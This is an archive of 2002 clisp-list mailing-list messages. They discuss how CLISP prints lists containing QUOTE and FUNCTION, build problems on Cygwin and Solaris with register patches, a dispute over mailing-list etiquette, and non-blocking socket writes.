#<PACKAGE FULIANG>
FULIANG[16]> '(he said it does not function well)
(HE SAID IT DOES NOT . #'WELL)
FULIANG[17]> (shadow :function)
T
FULIANG[18]> '(he said it does not function well)
(HE SAID IT DOES NOT FUNCTION WELL)



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Eric,

[ I originally sent this only to Eric, but since he replied to it on the 
list, I'm re-posting it here. ]

The thing about text vs. binary is that different people make different 
choices when they install Cygwin and may make subsequent changes, too. This 
is a perennial source of problem reports on the Cygwin mailing list. 
They've decreased over time as software has been ported to Cygwin to make 
it resistant to the vagaries of Cygwin installation / configuration 
choices, but if the software in question (either the end product or the 
tools used to build it) are not fully and properly adapted to the mixed 
text environment of Cygwin, problems can occur and can be hard to reproduce 
on other systems where different Cygwin installation and configuration 
choices were made.

Randy


At 10:28 2002-09-17, you wrote:


>     Randall> Hi,
>
>Hello,
>
>     Randall> If you have XFree86/Cygwin installed, you have a binary
>     Randall> called "lndir" in /usr/X11R6/bin
>     Randall> ("/usr/X11R6/bin/lndir.exe" to be precise). Depending on
>     Randall> your PATH setting, you might be invoking that instead of
>     Randall> any lndir script that's part of the CLISP build system.
>
>I removed /usr/X11R6/bin from my path, to be sure that it wasn't
>there, and it wasn't.
>
>     Randall> Also, if line endings are an issue, there's also the text
>     Randall> vs. binary mount business in Cygwin (not to mention the
>     Randall> "binmode" option in the CYGWIN environment variable). If
>     Randall> you're using Cygwin to build software, you need to
>     Randall> understand how Cygwin handles the variant text file
>     Randall> encodings of Windows and Unix.
>
>Hm.  I'll read up on this...But I've never experienced any difficulty
>before.  Then again, I am relatively new to the Cygwin environment.
>Maybe my successes have been accidental :)
>
>I'll see if I can't track anything down.
>
>Thanks for all the ideas so far.
>
>Eric


Randy 



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Kaz Kylheku wrote:<br>
<blockquote type="cite" cite="mid:Pine.LNX.4.44.0209171046000.9646-100000@ashi.FootPrints.net">
  <pre wrap="">On Tue, 17 Sep 2002, Fuliang Weng (RTC) wrote:<br><br></pre>
  <blockquote type="cite">
    <pre wrap="">Date: Tue, 17 Sep 2002 10:13:59 -0500<br>From: "Fuliang Weng (RTC)" <a class="moz-txt-link-rfc2396E" href="mailto:wgf1pal@rtc.bosch.com">&lt;wgf1pal@rtc.bosch.com&gt;</a><br>To: John K. Hinsdale <a class="moz-txt-link-rfc2396E" href="mailto:hin@alma.com">&lt;hin@alma.com&gt;</a><br>Cc: <a class="moz-txt-link-abbreviated" href="mailto:clisp-list@lists.sourceforge.net">clisp-list@lists.sourceforge.net</a>,<br>     Fuliang Weng <a class="moz-txt-link-rfc2396E" href="mailto:fuliang.weng@rtc.bosch.com">&lt;fuliang.weng@rtc.bosch.com&gt;</a><br>Subject: Re: [clisp-list] bug report<br><br>Ok, I am more interested in getting the normal interpretation for the <br>tasks I am doing.<br>For example, when a function reads in a sentence represented in a list <br>(he said it does not function well) and then print it out, and you will <br>see (he said it does not . #'well). That's not just a displaying problem;)<br></pre>
    </blockquote>
    <pre wrap=""><!----><br>That is funny.  But it *is* just a displaying problem. The above notation<br>is equivalent to:<br><br>    (he said it does not . (function well))<br><br>which is equivalent to<br><br>    (he said it does not function well)<br><br>It's just confusing to a human, that is all. :)<br></pre>
    </blockquote>
I guess that I should have used "the normal representation" instead of "the
normal interpretation".<br>
In my tasks, the representation is important. I understand that these lists
are equivalent, but they are<br>
very different for my purposes. To use an analogue, if you are given a set
of axioms, it does not mean that people don't need to have all the other
theorems because they are all implied. In my case, if another module uses
the output with this representation, it won't understand. <br>
    <br>
    <blockquote type="cite" cite="mid:Pine.LNX.4.44.0209171046000.9646-100000@ashi.FootPrints.net">
      <blockquote type="cite">
        <pre wrap="">I would like to hear any neat and clean solutions to this (not just <br>treat a sentence as a string). Thanks.<br></pre>
        </blockquote>
        <pre wrap=""><!----><br>The neat solution is not to employ symbols from the COMMON-LISP package<br>for your own use.  If you are reading symbolic data from a file or user<br>interface, use your own package!<br><br>[14]&gt; (defpackage :fuliang)<br>#&lt;PACKAGE FULIANG&gt;<br>[15]&gt; (in-package :fuliang)<br>#&lt;PACKAGE FULIANG&gt;<br>FULIANG[16]&gt; '(he said it does not function well)<br>(HE SAID IT DOES NOT . #'WELL)<br>FULIANG[17]&gt; (shadow :function)<br>T<br>FULIANG[18]&gt; '(he said it does not function well)<br>(HE SAID IT DOES NOT FUNCTION WELL)<br><br></pre>
        </blockquote>
It is not just reading in or outputing, they need to be processed in other
functions. With the CMU CL, I don't have this problem, it returns in the
way I want. <br>
        <br>
* (setq x '(he said it does not function well))<br>
(HE SAID IT DOES NOT FUNCTION WELL)<br>
        <br>
The problem with your solution is that both "quote" and "function" can't
be used as the functions in lisp, which I am hesitating to do...<br>
        <br>
Thanks for the suggestion, though.<br>
        <br>
        <br>
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Hello Eric,

Tuesday, September 17, 2002, 11:25:34 PM, you wrote:


>     Arseny> Tuesday, September 17, 2002, 1:21:54 AM, you wrote:
>     Eric> bash-2.05b$ mkdir build bash-2.05b$ ./configure build mkdir:
>     Eric> cannot create directory
>     Eric>
> `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND
>     Eric> :': No such file or directory

> I'll check this now.  Nope...Emacs hexl mode shows me just the 0A
> at line ends, no 0Ds anywhere.  Or at least, 'configure' and 'lndir'
> have the correct line endings.  Any other thoughts?

I seem to remember I had similar problem - windows find was in the
path. If the problem didn't gone try to kill find.exe
(it found at windows or windows\command).

>Has anyone on the list compiled successfully under cygwin?
Yes, regularly.

-- 
Best regards,
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> * In message <3D87A1E7.4060704@rtc.bosch.com>
> * On the subject of "[clisp-list] Re: bug report"
> * Sent on Tue, 17 Sep 2002 21:43:03 +0000
> * Honorable "Fuliang Weng (RTC)" <wgf1pal@rtc.bosch.com> writes:

> [14]> (defpackage :fuliang)
>      
> #<PACKAGE FULIANG>
>      
> [15]> (in-package :fuliang)
>      
> #<PACKAGE FULIANG>
>      
> FULIANG[16]> '(he said it does not function well)
>      
> (HE SAID IT DOES NOT . #'WELL)
>      
> FULIANG[17]> (shadow :function)
>      
> T
>      
> FULIANG[18]> '(he said it does not function well)
>      
> (HE SAID IT DOES NOT FUNCTION WELL)

the above is the correct solution.  use it.

FUNCTION and QUOTE are special operators in Common Lisp, and it is
highly unwise to use them in any way in your data (in CL, data is code)

I hope you will hit a package lock error soon - this will reinforce
this point that several people have made before me already.

> It is not just reading in or outputing, they need to be processed in other
> functions. With the CMU CL, I don't have this problem, it returns in the way I want.
> * (setq x '(he said it does not function well))
> (HE SAID IT DOES NOT FUNCTION WELL)
> The problem with your solution is that both "quote" and "function" can't be used as the
> functions in lisp, which I am hesitating to do...

I think you are confused by the printed representation.
For some unfathomable reason you want the printed representation to
appear the way you envision.
There are many ways to achieve this, and the way you use is the wrong one.

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I checked back in the HyperSpec, and this is what I found:

http://www.lispworks.com/reference/HyperSpec/Body/s_quote.htm#quote

http://www.lispworks.com/reference/HyperSpec/Body/02_dc.htm

http://www.lispworks.com/reference/HyperSpec/Body/02_dca.htm

'<something> is a shortcut for (quote <something>) and not the other way 
arround, and thus the behavior expected by Mr. Weng is the correct one, 
at least according to the standard.

Same for function. See

http://www.lispworks.com/reference/HyperSpec/Body/02_dhb.htm

Regards,
	Mario.

Sam Steingold wrote:
>>* In message <3D87A1E7.4060704@rtc.bosch.com>
>>* On the subject of "[clisp-list] Re: bug report"
>>* Sent on Tue, 17 Sep 2002 21:43:03 +0000
>>* Honorable "Fuliang Weng (RTC)" <wgf1pal@rtc.bosch.com> writes:
> 
>>[14]> (defpackage :fuliang)
>>     
>>#<PACKAGE FULIANG>
>>     
>>[15]> (in-package :fuliang)
>>     
>>#<PACKAGE FULIANG>
>>     
>>FULIANG[16]> '(he said it does not function well)
>>     
>>(HE SAID IT DOES NOT . #'WELL)
>>     
>>FULIANG[17]> (shadow :function)
>>     
>>T
>>     
>>FULIANG[18]> '(he said it does not function well)
>>     
>>(HE SAID IT DOES NOT FUNCTION WELL)
> 
> the above is the correct solution.  use it.
> 
> FUNCTION and QUOTE are special operators in Common Lisp, and it is
> highly unwise to use them in any way in your data (in CL, data is code)
> 
> I hope you will hit a package lock error soon - this will reinforce
> this point that several people have made before me already.
> 
> 
>>It is not just reading in or outputing, they need to be processed in other
>>functions. With the CMU CL, I don't have this problem, it returns in the way I want.
>>* (setq x '(he said it does not function well))
>>(HE SAID IT DOES NOT FUNCTION WELL)
>>The problem with your solution is that both "quote" and "function" can't be used as the
>>functions in lisp, which I am hesitating to do...
> 
> 
> I think you are confused by the printed representation.
> For some unfathomable reason you want the printed representation to
> appear the way you envision.
> There are many ways to achieve this, and the way you use is the wrong one.
> 




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has anyone has any success getting recent CLISPs to run on Solaris?
2.28 worked for me, 2.29 had some runtime problem, 2.30 fails during
compilation of C code.

I'm using Solaris 7 with gcc 3.1/3.2, I have readline &c though I'm
not sure if it's finding it.  The 2.30 compilation fails in stream.d
muttering about rl_gnu_readline_p.

I'm sorry not to produce a better bug report.  If there's anything
easy I can do I will but I don't have time to spend a lot of time
debugging the system unfortunately.

(Note I'm not subscribed to clisp-list - please cc any responses to me
if I should see them...)

--tim



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Hello All,

Thanks for the useful suggestions.  I managed to get through
the whole process yesterday, including 

% make test
and 
% make testsuite 

And, as per the documentation, I made a binary package with 

% make distrib

It's available at 

http://www.groovy.net/~eric/clisp-2.30-i686-unknown-cygwin32-1.3.12.tar.gz

I think.  Getting stuff out from behind the corporate proxy server
is tricky at best.  If it's not, let me know and I'll fix it tonight.

Thanks again.

Eric


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* I wrote:
> has anyone has any success getting recent CLISPs to run on Solaris?
> 2.28 worked for me, 2.29 had some runtime problem, 2.30 fails during
> compilation of C code.

> I'm using Solaris 7 with gcc 3.1/3.2, I have readline &c though I'm
> not sure if it's finding it.  The 2.30 compilation fails in stream.d
> muttering about rl_gnu_readline_p.

In case this happens to anyone else: it seems to be the case that you
need readline 4.3 - I had 4.2 which didn't work.  With 4.3 it builds a
lisp.run which then dies because (I think) the sigsegv library is
missing - it gets an immediate segv which gdb dies when debugging, but
clearly thinks it's in some stack overflow thing.  I'll install the
libraries and try again, another day.

--tim



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On Wednesday 18 Sep 2002 2:34 pm, Tim Bradshaw wrote:

> In case this happens to anyone else: it seems to be the case that you
> need readline 4.3 - I had 4.2 which didn't work.  With 4.3 it builds a
> lisp.run which then dies because (I think) the sigsegv library is
> missing - it gets an immediate segv which gdb dies when debugging, but
> clearly thinks it's in some stack overflow thing.  I'll install the
> libraries and try again, another day.

If that doesn't work it might be worth trying this patch. It fixes the build 
on Linux/sparc.


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On Wed, 18 Sep 2002, Mario Mommer wrote:

> '<something> is a shortcut for (quote <something>) and not the other way 
> arround, and thus the behavior expected by Mr. Weng is the correct one, 
> at least according to the standard.

You want Lisp to recover the shorthands from the list structure also. 

When I write

    (print '(defvar *list* '(a b c)))

I want to see

    (DEFVAR *LIST* '(A B C))

not

    (DEFVAR *LIST* (QUOTE (A B C)))



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> * In message <15752.25397.260460.367611@cley.com>
> * On the subject of "[clisp-list] clisp on Solaris"
> * Sent on Wed, 18 Sep 2002 12:27:49 +0100
> * Honorable Tim Bradshaw <tfb@cley.com> writes:
>
> I'm sorry not to produce a better bug report.  If there's anything
> easy I can do I will but I don't have time to spend a lot of time
> debugging the system unfortunately.

thanks for your report.

> (Note I'm not subscribed to clisp-list - please cc any responses to me
> if I should see them...)

this discussion will be held on clisp-list only and no CCs can be
promised.

while we do appreciate your bug reports, we also think you should show
your appreciation of our development efforts by subscribing to the
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now that almost any mail reader can filter e-mail to various folders
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gmane, your position appears to me untenable.

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On Wed, 18 Sep 2002 08:22:44 -0700 (PDT)
Kaz Kylheku <kaz@ashi.footprints.net> wrote:
>
> You want Lisp to recover the shorthands from the list structure also. 
> 
> When I write
> 
>     (print '(defvar *list* '(a b c)))
> 
> I want to see
> 
>     (DEFVAR *LIST* '(A B C))
> 
> not
> 
>     (DEFVAR *LIST* (QUOTE (A B C)))

That is why you set *print-pretty* to t

Usually you have *print-pretty* set to nil, and if you want to print
code, you use pprint instead of print.

then

(print '(defvar *list* '(a b c)))
==> (DEFVAR *LIST* (QUOTE (A B C)))

but

(pprint '(defvar *list* '(a b c)))
==> (DEFVAR *LIST* '(A B C))

The solution to what bugged mr. Weng would normaly be to set
*print-pretty* to nil. But CLISP prettyprints everything, ignoring
*print-pretty*

Regards,
	Mario.


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<body>
I guess that I am not that comfused by the prented representation. But, I
am really confused by the &nbsp;behaviors of the printed representation, see the
following:<br>
<br>
[1]&gt; (setq x '(quote a b c))<br>
(QUOTE A B C)<br>
[2]&gt; (setq x '(a quote b c))<br>
(A QUOTE B C)<br>
[3]&gt; (setq x '(a b quote c))<br>
(A B . 'C)<br>
[4]&gt; (setq x '(a b c quote))<br>
(A B C QUOTE)<br>
[5]&gt;<br>
<br>
Don't you think something needs to be done for the consistency;)<br>
<br>
--Fuliang<br>
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Kaz Kylheku wrote:<br>
<blockquote type="cite" cite="mid:Pine.LNX.4.44.0209180819050.8763-100000@ashi.FootPrints.net">
  <pre wrap="">On Wed, 18 Sep 2002, Mario Mommer wrote:<br><br></pre>
  <blockquote type="cite">
    <pre wrap="">'&lt;something&gt; is a shortcut for (quote &lt;something&gt;) and not the other way <br>arround, and thus the behavior expected by Mr. Weng is the correct one, <br>at least according to the standard.<br></pre>
    </blockquote>
    <pre wrap=""><!----><br>You want Lisp to recover the shorthands from the list structure also. <br><br>When I write<br><br>    (print '(defvar *list* '(a b c)))<br><br>I want to see<br><br>    (DEFVAR *LIST* '(A B C))<br><br>not<br><br>    (DEFVAR *LIST* (QUOTE (A B C)))<br><br></pre>
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* Sam Steingold wrote:

> this discussion will be held on clisp-list only and no CCs can be
> promised.

Fine.

> while we do appreciate your bug reports, we also think you should
> show your appreciation of our development efforts by subscribing to
> the mailing list.

> now that almost any mail reader can filter e-mail to various folders
> automatically, and, moreover, all clisp mailing lists are available
> on gmane, your position appears to me untenable.

Thanks for telling me how to live my life, it's useful to know these
things.

--tim



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> I would like to hear any neat and clean solutions to this (not just 
> treat a sentence as a string). Thanks.

(setq *print-pretty* nil)


P.



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Tried, not working -- same problem.<br>
<br>
<br>
Pierpaolo BERNARDI wrote:<br>
<blockquote type="cite" cite="mid:005a01c25f46$0e4a6060$15ffd8d4@c1p4e3">
  <pre wrap="">From: "Fuliang Weng (RTC)" <a class="moz-txt-link-rfc2396E" href="mailto:wgf1pal@rtc.bosch.com">&lt;wgf1pal@rtc.bosch.com&gt;</a><br><br></pre>
  <blockquote type="cite">
    <pre wrap="">I would like to hear any neat and clean solutions to this (not just <br>treat a sentence as a string). Thanks.<br></pre>
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    <pre wrap=""><!----><br>(setq *print-pretty* nil)<br><br><br>P.<br><br></pre>
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From: Fuliang Weng (RTC) 

> Tried, not working -- same problem.

You are right.  Now I remember better.

It's a long standing bug. 

It's easily fixable, and I also submitted a patch years ago.
Bruno, however, prefers the current behaviour.


P.



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On Wed, 18 Sep 2002, Fuliang Weng (RTC) wrote:

> Date: Wed, 18 Sep 2002 12:25:27 -0700
> From: "Fuliang Weng (RTC)" <wgf1pal@rtc.bosch.com>
> To: Pierpaolo BERNARDI <bernardp@cli.di.unipi.it>
> Cc: clisp-list@lists.sourceforge.net,
>      Fuliang Weng <fuliang.weng@rtc.bosch.com>
> Subject: Re: [clisp-list] bug report
> 
> Tried, not working -- same problem.
> 
> 
> Pierpaolo BERNARDI wrote:
> 
>  From: "Fuliang Weng (RTC)" <wgf1pal@rtc.bosch.com>
> 
>  I would like to hear any neat and clean solutions to this (not just 
> treat a sentence as a string). Thanks.

If you are interning new symbols at run time, for example by obtaining
sentences from a user and treating words as symbol names, you should
probably be doing that in a dedicated package. Otherwise you are
interning symbols in the COMMON-LISP-USER package. This package imports
symbols from COMMON-LISP, so whenever the reader encounters the name of
a COMMON-LISP symbol, it just returns that symbol instead of interning
a new one. So your user's sentence list then actually contains a
mixture of pointers to symbols in COMMON-LISP-USER and to symbols in
COMMON-LISP, like QUOTE and FUNCTION.

If you do this, you have no way to clean up after the user! Interned
symbols are not garbage collected, because their home packages serve
as root references; so long as a symbol is in a package, it is always
referenced. Thus by interning symbols at run time, you risk creating
permanent pollution.

If you intern symbols in your own custom package, you can use
DELETE-PACKAGE to get rid of all of them when you are done. You
probably don't want to be doing that on your COMMON-LISP-USER package!



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> * In message <15752.47064.466771.329606@cley.com>
> * On the subject of "Re: [clisp-list] clisp on Solaris"
> * Sent on Wed, 18 Sep 2002 18:28:56 +0100
> * Honorable Tim Bradshaw <tfb@cley.com> writes:
>
> * Sam Steingold wrote:
> 
> > this discussion will be held on clisp-list only and no CCs can be
> > promised.
> 
> Fine.
> 
> > while we do appreciate your bug reports, we also think you should
> > show your appreciation of our development efforts by subscribing to
> > the mailing list.
> 
> > now that almost any mail reader can filter e-mail to various folders
> > automatically, and, moreover, all clisp mailing lists are available
> > on gmane, your position appears to me untenable.
> 
> Thanks for telling me how to live my life, it's useful to know these
> things.

I was not telling you how to live your life.
I was saying that, with all due respect,
we[1] consider your request unreasonable.
There is not need to get rude.

[1] I say "we" because someone else ignored your request and posted to
the list only _before_ I sent my reply.

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> * In message <3D88A25C.20102@rtc.bosch.com>
> * On the subject of "Re: bug report"
> * Sent on Wed, 18 Sep 2002 08:57:16 -0700
> * Honorable "Fuliang Weng (RTC)" <wgf1pal@rtc.bosch.com> writes:
>
> I guess that I am not that comfused by the prented representation. But, I=
 am really
> confused by the =A0behaviors of the printed representation, see the follo=
wing:
> [1]> (setq x '(quote a b c))
> (QUOTE A B C)
> [2]> (setq x '(a quote b c))
> (A QUOTE B C)
> [3]> (setq x '(a b quote c))
> (A B . 'C)
> [4]> (setq x '(a b c quote))
> (A B C QUOTE)
> [5]>
> Don't you think something needs to be done for the consistency;)

hint: special operator QUOTE takes one single argument.

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My build (Solaris 2.8/GCC 3.1.1) terminates with a seg
fault when the lisp image is fired up for the 1st
time.  Until then, it built clean.

I do have readline and libsigsegv installed (and I
think iconv as well).  

Another data point: Trying GCC 2.95 which worked for
Clisp 2.29, fails in stream.c complaining about
readline crap.  I'm trying a non-readline 2.95 build
now, but my system isn't very fast.

Jeff Katcher

P.S. a FreeBSD 4.7/i386 build worked perfectly (using gcc2.95)

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On Wednesday 18 Sep 2002 11:54 pm, Jeffrey Katcher wrote:
> My build (Solaris 2.8/GCC 3.1.1) terminates with a seg
> fault when the lisp image is fired up for the 1st
> time.  Until then, it built clean.

Did you try the patch I posted earlier?


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> * In message <200209161820.g8GIK1vm007394@van-halen.alma.com>
> * On the subject of "[clisp-list] Warnings setting FFI:DEFAULT-FOREIGN-LANGUAGE"
> * Sent on Mon, 16 Sep 2002 14:20:01 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
> For my "C" oracle module I'm moving to the new syntax for defining "C"
> call-out functions (DEF-C-CALL-OUT --> DEF-CALL-OUT) but when I set
> the default language with
> 
> 	(default-foreign-language :stdc)
> 
> I get :
> 	Compiling file /u/hin/src/clisp/mysrc/oracle/oracle.lisp ...
> 	WARNING:
> 	SETQ(FFI::*FOREIGN-LANGUAGE*): #<PACKAGE FFI> is locked
> 	Ignore the lock and proceed
> 	WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-3 in lines 30..31 :
> 	SETQ: assignment to the internal special symbol FFI::*FOREIGN-LANGUAGE*
> 
> No big deal, but I am doing things just as in the examples and it
> seems that should produce no warning.

You are rigth - this is a bug, and I just fixed it.

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Subject: Re: [clisp-list] FSF Award Nomination: Bruno Haible
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Date: Thu Sep 19 02:41:04 2002
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On 07 Sep 2002 22:45:44 -0400, Sam Steingold wrote:

> Please visit <http://www.gnu.org/award/2002/2002.html>
> and support nomination of Bruno Haible, the CLISP author.

I wrote to award-nominations@gnu.org, but got the following error:

  save to /com/archive/award-nominations
    generated by award-nominations-archive@gnu.org
    (ultimately generated from award-nominations@gnu.org)
    mailbox /com/archive/award-nominations has wrong uid (0 != 8):
    retry timeout exceeded

I have notified the postmaster and written again.


Paolo
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Date: Thu Sep 19 03:32:02 2002
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* Sam Steingold wrote:
> I was not telling you how to live your life.  I was saying that,
> with all due respect, we[1] consider your request unreasonable.
> There is not need to get rude.

I think that asking that I `show respect to the developers' by
subscribing and `considering my position untenable' is pretty bloody
rude actually.

I'm just a clisp user.  I use about 40-50 other systems too, most of
them much more than clisp.  I report bugs in them too, because I think
it's kind of useful to do this. Should I subscribe to their mailing
lists?  do you have *any idea* how much mail I would get if I did?
The only thing I could possibly do is to throw it all away, thus doing
nothing but using network bandwidth and disk space to no good effect.
Do you think the maintainers of these other systems tell me to `show
respect to them' by subscribing to their mailing lists when I submit
bug reports?

Well, I've solved my clisp problem with rm -rf, so you won't have the
inconvenience of any further bug reports from me.

--tim




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From: "Sam Steingold" <sds@gnu.org>

> I think you are confused by the printed representation.
> For some unfathomable reason you want the printed representation to
> appear the way you envision.

I think his expectations are completely reasonable.

Check 22.1.3.5 in the Hyperspec.

P.



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> * In message <15753.42837.364085.795194@cley.com>
> * On the subject of "Re: [clisp-list] clisp on Solaris"
> * Sent on Thu, 19 Sep 2002 11:30:45 +0100
> * Honorable Tim Bradshaw <tfb@cley.com> writes:
>
> * Sam Steingold wrote:
> > I was not telling you how to live your life.  I was saying that,
> > with all due respect, we[1] consider your request unreasonable.
> > There is not need to get rude.
> 
> I think that asking that I `show respect to the developers' by
> subscribing and `considering my position untenable' is pretty bloody
> rude actually.

Hmmm...
I consider sending e-mail to a mailing list asking for CC to be quite
rude too - and I think I am not alone in that.
Maybe we both were having a bad day? :-)

> I'm just a clisp user.  I use about 40-50 other systems too, most of
> them much more than clisp.  I report bugs in them too, because I think
> it's kind of useful to do this.
> Should I subscribe to their mailing lists?

probably.

> do you have *any idea* how much mail I would get if I did?

Yes. 

> The only thing I could possibly do is to throw it all away, thus doing
> nothing but using network bandwidth and disk space to no good effect.

not necessarily.
Both network bandwidth and disk space are irrelevant, they are very
cheap these days.
The only thing that matters is your (and our!) time.
For that we have gnus and gmane:
you could either subscribe to <clisp-list> and filter it to a clisp
mailbox and then read only replies to your messages or
you could go to gmane and read <clisp-list> via NNTP.

> Do you think the maintainers of these other systems tell me to `show
> respect to them' by subscribing to their mailing lists when I submit
> bug reports?

Did you ask them to CC you the replies?

> Well, I've solved my clisp problem with rm -rf, so you won't have the
> inconvenience of any further bug reports from me.

I am sorry to hear this.
I do not think this is something anyone would wish for.

Farewell.

-- 
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On Thursday 19 Sep 2002 11:30 am, Tim Bradshaw wrote:

> I think that asking that I `show respect to the developers' by
> subscribing and `considering my position untenable' is pretty bloody
> rude actually.

The best way to do this is to set the Mail-FollowUp-To: header, then these 
arguments don't tend to happen.


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I am trying to implement a TCP-based network server in CLISP.  This server
accepts requests, processes the request and generates what could potentially
be a large amount of data, then sends this response via the requesting
socket.  The socket remains open for subsequent requests from clients.

Thus, input processing is straightforward.  A socket-status can be performed
while awaiting a request.  By using a read-byte-no-hang I can read data
until  the entire request has been read or until the socket runs out
temporarily, i.e. until the next socket-status loop.

I am unsure how to address the write case.  I can (and currently do)
accumulate the output data into an unsigned-byte array and when
socket-status indicates the socket can be :outpt to, write the data.  The
question is, however, how much?  By examing the steam code I discovered that
when you write to a stream, CLISP assumes you'll write the requested amount.
Which means, if I write too much, I'll block waiting for the socket to
drain.  The problem with this, however, is that a maligicious client can
write a request to the socket (ensuring a large response) and then never
read the response.  This should successfully hang the server.

This could be alleviated if there was a write-byte-no-hang or a way to known
in advance, how much can be written without blocking.  Another approach
would be to implement "atomic" I/O functions, i.e. a version of
read-sequence or write-sequence which returned the requested amount or
actually transferred amount of data.

Have other people written network servers in CLISP?

	Thanks in advance!

	Dave




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After applying Will Newton's patch (affecting global
register declarations in lispbibl.d) 2.30 builds and
checks clean.  BTW this is the 1st time I've been able
to do this with GCC 3.1.1.

Many thanks,

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> * In message <AOENJKDECJBPGIGJDAALAEBPCBAA.dave@synergy.org>
> * On the subject of "TCP-based Network Server in CLISP"
> * Sent on Thu, 19 Sep 2002 09:50:58 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> This could be alleviated if there was a write-byte-no-hang

(defun write-byte-no-hang (b o)
  (case (socket-status o 0)
   ((:io :output) (write-byte b o) b)
   (t nil)))

> or a way to known in advance, how much can be written without
> blocking.

I don't think this is possible - OS does not tell that.

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> * In message <20020919172641.47372.qmail@web14508.mail.yahoo.com>
> * On the subject of "[clisp-list] Re: Clisp on Solaris"
> * Sent on Thu, 19 Sep 2002 10:26:41 -0700 (PDT)
> * Honorable Jeffrey Katcher <jmkatcher@yahoo.com> writes:
>
> After applying Will Newton's patch (affecting global
> register declarations in lispbibl.d) 2.30 builds and
> checks clean.  BTW this is the 1st time I've been able
> to do this with GCC 3.1.1.

Jeffrey, are you willing to do some more testing?

I am highly reluctant to lose the performance boost accorded by the
registers, so I would prefer that we make them work instead of disabling
them altogether.

1. try this patch instead of Will's:

--- lispbibl.d.~1.294.~	Wed Sep 11 16:52:03 2002
+++ lispbibl.d	Thu Sep 19 13:48:43 2002
@@ -779,7 +779,7 @@
     register long subr_self_reg __asm__(subr_self_register);
   #endif
   # Saving "save" registers.
-  #if (defined(I80386) && !defined(DYNAMIC_MODULES)) || defined(HPPA) || defined(M88000) || defined(ARM) || defined(DECALPHA) || defined(S390)
+  #if (defined(I80386) && !defined(DYNAMIC_MODULES)) || defined(HPPA) || defined(M88000) || defined(ARM) || defined(DECALPHA) || defined(S390) || (defined(SPARC) && (__GNUC__ >= 3))
     #define HAVE_SAVED_REGISTERS
     struct registers {
       #ifdef STACK_register

   and report the results here.

2. what about `-mno-app-regs' GCC option?

3. read <http://compilers.iecc.com/comparch/article/01-02-057> and try
   replacing the registers CLISP uses with %g1-4.

thank you very much!

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1. Fails in the usual way (crash on 1st lisp startup)
2. Same result
3. Couldn't retrieve the cited article, but changed
%g[567] references to %g[123] in lispbibl.d.  I left
the existing %g4 reference alone.  Fails as well.

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On Thursday 19 Sep 2002 6:52 pm, Sam Steingold wrote:

> 1. try this patch instead of Will's:

Still crashes.

> 2. what about `-mno-app-regs' GCC option?

Is only useful if you also apply it to the libraries on your system that may 
clobber your registers anyway.

> 3. read <http://compilers.iecc.com/comparch/article/01-02-057> and try
>    replacing the registers CLISP uses with %g1-4.

Hmm, the server is unavailable for me. I tried g1-g4, but they do not work 
either, and I get warnings about global call-clobbered registers. Adding 
HAVE_SAVED_REGISTERS and -mno-app-regs did not succeed either.

I will ask on the Debian sparc list, they have some gurus there who may be 
able to shed light on this.

In any case, -mno-app-regs takes away registers from the allocator so reduces 
performance, and the overhead of saving and restoring registers coupled with 
this may not make the performance impact so great.

Here is the section in the gcc code dealing with these registers:

   On non-v9 systems:
   g1 is free to use as temporary.
   g2-g4 are reserved for applications.  Gcc normally uses them as
   temporaries, but this can be disabled via the -mno-app-regs option.
   g5 through g7 are reserved for the operating system.

   On v9 systems:
   g1,g5 are free to use as temporaries, and are free to use between calls
   if the call is to an external function via the PLT.
   g4 is free to use as a temporary in the non-embedded case.
   g4 is reserved in the embedded case.
   g2-g3 are reserved for applications.  Gcc normally uses them as
   temporaries, but this can be disabled via the -mno-app-regs option.
   g6-g7 are reserved for the operating system (or application in
   embedded case).
   ??? Register 1 is used as a temporary by the 64 bit sethi pattern, so must
   currently be a fixed register until this pattern is rewritten.
   Register 1 is also used when restoring call-preserved registers in large
   stack frames.


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> * In message <20020919215223.2756.qmail@web14510.mail.yahoo.com>
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> * Sent on Thu, 19 Sep 2002 14:52:23 -0700 (PDT)
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> 1. Fails in the usual way (crash on 1st lisp startup)
> 2. Same result
> 3. Couldn't retrieve the cited article, but changed

do a search on google for gcc sparc registers.

> %g[567] references to %g[123] in lispbibl.d.  I left
> the existing %g4 reference alone.  Fails as well.

what about combining these methods?
the command line option should have made %g1-4 available for
applications.

I guess this is pointless unless you know what you are doing
(I do not!)

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Every now and then CLISP bytecode format changes.
(last time it was at version 2.28; it might happen again :-)
Suppose you compiled file "foo.lisp" with an older CLISP (so that
"foo.fas" has obsolete bytecode) and tell a new CLISP (LOAD "foo").

What should CLISP do?

Now it sees that there is no file "foo", so it looks in *LOAD-PATHS*
for "foo.lisp", "foo.fas", "foo.cl" and "foo.lsp" and tries to load the
newest of the found files, i.e., "foo.fas", and then signals an error.

CLISP can also do the following:

- issue a warning instead and load "foo.lisp"

- also delete "foo.fas" so that the next time there will be no warning
  (and a `make' will recompile "foo.lisp")

- recompile "foo.lisp" - this is very problematic: suppose you use
  DEFSYSTEM and you keep your LISP files in a different directory from
  the FAS files, then (COMPILE-FILE "foo.lisp") will not clobber the
  existing bad "foo.fas"; giving COMPILE-FILE the :OUTPUT-FILE argument
  is a dangerous solution for the following reason: suppose you have
  directories "zoo/" and "zot/" in your *LOAD-PATHS* and both
  directories hav "foo.lisp" in them (yes, this is not a very good idea
  in the first place).  The 4 files "foo.lisp" and "foo.fas" may have
  all combinations of timestamps.  So it is possible that we first see
  an invalid "zoo/foo.fas", and the second newest file is
  "zot/foo.lisp", and then we call (COMPILE-FILE "zot/foo.lisp" :OUTPUT-FILE
  "zoo/foo.fas") and we clobber a file in "zoo/" with the file which
  should be in "zot/".

A warning + optional removing the bad file appears to be the safest way.

What do people think?

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I'm afraid that I need to admit my ignorance here.  If
I actually knew what I was doing, I'd disable the
registers as per Will's patch, and start enabling them
one at a time until I found a happy configuration. 
That's just intuition talking, though.  The last time
I did Sparc assembler, it involved patching Smalltalk
virtual machine startup code and gave me nightmares
(especially register allocation).  Give me a MIPS
machine any day...Sigh.

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On Fri, 2002-09-20 at 10:39, Sam Steingold wrote:
> Every now and then CLISP bytecode format changes.
> (last time it was at version 2.28; it might happen again :-)
> Suppose you compiled file "foo.lisp" with an older CLISP (so that
> "foo.fas" has obsolete bytecode) and tell a new CLISP (LOAD "foo").
> 
> What should CLISP do?
> 
